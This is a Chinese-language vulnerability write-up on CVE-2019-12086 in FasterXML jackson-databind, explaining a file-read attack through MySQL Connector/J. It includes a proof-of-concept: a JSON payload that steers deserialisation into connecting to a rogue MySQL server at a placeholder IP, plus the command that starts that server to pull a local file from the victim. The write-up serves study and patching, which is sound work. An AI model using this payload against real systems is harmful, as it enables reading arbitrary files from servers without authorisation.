漏洞说明
CVE-2019-12086:在2.9.9之前的FasterXML jackson-databind 2.x中发现了漏洞。在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。
环境搭建
引入jar包:
CVE-2019-12086 POC
首先创建一个恶意的MySQL,可以使用https://github.com/Gifts/Rogue-MySql-Server。这个server读取客户端文件,并写入到mysql.log中。
假设启动在ip:X.X.X.X上面,那么在客户端执行如下代码,执行代码所在的机器上的c:\windows\win.ini(修改rogue_mysql_server.py中的
filelist)文件内容就会出现在mysql.log中。
ObjectMapper om = new ObjectMapper();
om.enableDefaultTyping();
String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
Object obj = om.readValue(poc, Object.class);
在服务器端启动恶意的MySQL服务,需要先关闭自己的mysql服务(如果开启了的话)
python rogue_mysql_server.py
在客户端运行poc,服务端读取到文件内容
注意事项
在开启Default Typing的情况下,jackson在反序列化json时,可以反序列化指定类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。
com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库。
在mysql-connector-java (6.0.3-8.0.15)版本,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。
为什么需要6.0.3以上?
1、classpath下需要有mysql-connector-java.jar,且需要有
com.mysql.cj.jdbc.admin.MiniAdmin
2、在6.0.2版本中,在cj/core/config/PropertyDefinitions.class 422行,maxAllowedPacket默认为-1
而6.0.3默认为65535,所以需要>=6.0.3